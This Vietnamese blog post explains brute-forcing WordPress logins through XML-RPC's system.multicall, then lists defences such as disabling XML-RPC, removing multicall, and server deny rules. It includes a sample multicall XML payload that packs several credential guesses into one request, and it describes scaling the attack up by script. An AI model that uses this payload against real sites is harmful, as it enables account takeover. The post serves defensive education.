Tấn công Brute Force WordPress thông qua XML-RPC

Hiện nay các chuyên gia đã phát hiện ra một phương thức mới để tấn công các website WordPress thông qua XML-RPC. Phương thức này tỏ ra hiệu quả khi kết hợp với cách truyền thống là Brute Force. Nó sẽ cố gắng vét cạn tất cả username/password để đăng nhập vào website và thực thi các lệnh được điều khiển tữ xa của hacker.

XML-RPC là gì?

Nó thực chất là 1 API được Wordress phát triển với ý tưởng ban đầu là cho phép kết nối các ứng dụng từ xa đến website của bạn. Ví dụ bạn có thể phát triển một mobile app để xem xét và phê duyệt các comment mới nhất mà không cần đăng nhập trên trang web. Ý tưởng thì tôt đẹp nhưng nó chứa rất nhiều yếu tố rủi ro về bảo mật.

XML-RPC is a simple, portable way to make remote procedure calls over HTTP. It can be used with Perl, Java, Python, C, C++, PHP and many other programming languages. WordPress, Drupal and most content management systems support XML-RPC.

XML-RPC cung cấp một loạt các function để chúng ta tương tác với các đối tượng khác nhau như Post, Comment, User…Các bạn có thể xem danh sách đầy đủ các function tại đây. Và mỗi lần gọi một API nào đó thông qua XML-RPC chúng ta phải cung cấp thông tin đăng nhập username/password cho mỗi request. Sau đó WordPress sẽ gửi thông tin phản hồi cho biết  đăng nhập thành công hay thất bại trước khi thực hiện API đó. Dựa vào điều này hacker có thể chạy Brute Force liên tục để dò tìm username/password mỗi khi gửi 1 request.

Nhưng điều này cũng không hiệu quả lắm bởi lẽ sẽ rất dễ bị phát hiện. Nó cũng tương tự khi ai đó cố gắng truy cập đến trang wp-login.php và thử đăng nhập nhiều lần. Các server hiện nay rất dễ phát hiện ra điều bất thường này.

Tấn công Brute Force kiểu mới

Với cách thức tấn công kiểu mới này các hackers có thể dò tìm hàng ngàn username/password chỉ trong 2 hoặc 3 requests. Để dễ hình dung các bạn hãy xem hình minh họa dưới đây

Wordpress XML-RPC Brute Force

Mấu chốt vấn đề là nằm ở hàm system.multicall. Với hàm này bạn có thể thực thi nhiều method trong chỉ một request. Điều này thực sự hữu dụng khi bạn cần xóa nhiều comments, upload nhiều ảnh…

Dưới đây là một ví dụ đơn giản để request danh sách các bài viết trên blog.

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>wp.getPosts</methodName>
<params>
 <param>
  <value>
   <string>admin</string>
  </value>
 </param>
 <param>
  <value>
   <string>password123456</string>
  </value>
 </param>
</params>
</methodCall>

Và server sẽ gửi về một phản hồi với những thông tin quan trọng, trong đó isAdmin xác nhận thông tin đăng nhập có chính xác hay không.

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>isAdmin</name>
                  <value><boolean>1</boolean></value>
                </member>
                <member>
                  <name>url</name>
                  <value><string>http://example.com/</string></value>
                </member>
                <member>
                  <name>blogid</name>
                  <value><string>1</string></value>
                </member>
                <member>
                  <name>blogName</name>
                  <value><string>testing</string></value>
                </member>
                <member>
                  <name>xmlrpc</name>
                  <value><string>http://example.com/xmlrpc.php</string></value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodResponse>

Và đây là cách mà hacker sử dụng hàm system.multicall để thực hiện một cuộc tấn công Brute Force  quy mô lớn. Với mỗi method/API yêu cầu được xác thực khi gửi đến XML-RPC, hacker sẽ tận dụng để dò tìm thông tin đăng nhập. Hãy cùng tôi xem qua ví dụ này.

<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getPosts</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password123456</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

Cách phòng chống

Nếu tôi tạo 1 script chạy 1000 lần có chứa mã để gọi request có chứa 1000 API có yêu cầu xác thực thì sẽ dò được 1 triệu thông tin đăng nhập một cách rất nhanh trong khoảng một thời gian rất ngắn. Các bạn đã thấy sự nguy hiểm của phương thức tấn công này rồi chứ.

Cách phòng chống hiệu quả là tắt XML-RPC mà mặc định đã được kích hoạt từ phiên bản 3.5+. Các bạn có thể tham khảo một số cách dưới đây.

  1. Sử dụng các plugin trên WordPress để khóa Disable XML-RPCManage XML-RPC, Disable XML-RPC Pingback
  2. Vô hiệu hóa chức năng XML-RPC trên theme bằng cách chèn code vào file functions.php như sau
    add_filter('xmlrpc_enabled', '__return_false');
    
  3. Hoặc ngăn không cho gọi hàm system.multicall bằng cách chỉnh sửa file functions.php 
    function mmx_remove_xmlrpc_methods( $methods ) {
        unset( $methods['system.multicall'] );
        return $methods;
    }
    add_filter( 'xmlrpc_methods', 'mmx_remove_xmlrpc_methods');

    Nhưng các bạn lưu ý rằng khi sử dụng cách 2 và 3 là code sẽ có khả năng bị xóa khi cập nhật theme.

  4. Sử dụng file .htaccess để thiết lập cách tiếp cận file xmlrpc.php vốn để khai báo chức năng XML-RPC trên WordPress.
    ## block any attempted XML-RPC requests
    <Files xmlrpc.php>
        Order deny,allow
        Deny from all
    </Files>
  5. Nếu bạn sử dụng Nginx thay vì Apache thì hãy dùng cách này
    ## block any attempted XML-RPC requests
    location = /xmlrpc.php {
        deny all;
    }

Tấn Việt

Tôi lập trang web này để thỏa mãn sở thích viết cái gì đó vui vui khi rãnh rỗi và đồng thời cũng chia sẻ những gì tôi biết hoặc đọc đâu đó trên mạng về Lập trình web. Tôi hi vọng những bài viết này sẽ giúp ích cho các bạn. Thân ái!

You may also like...

1 Response

  1. Ngô Thoại says:

    Xóa đi được k admin

Leave a Reply

Your email address will not be published. Required fields are marked *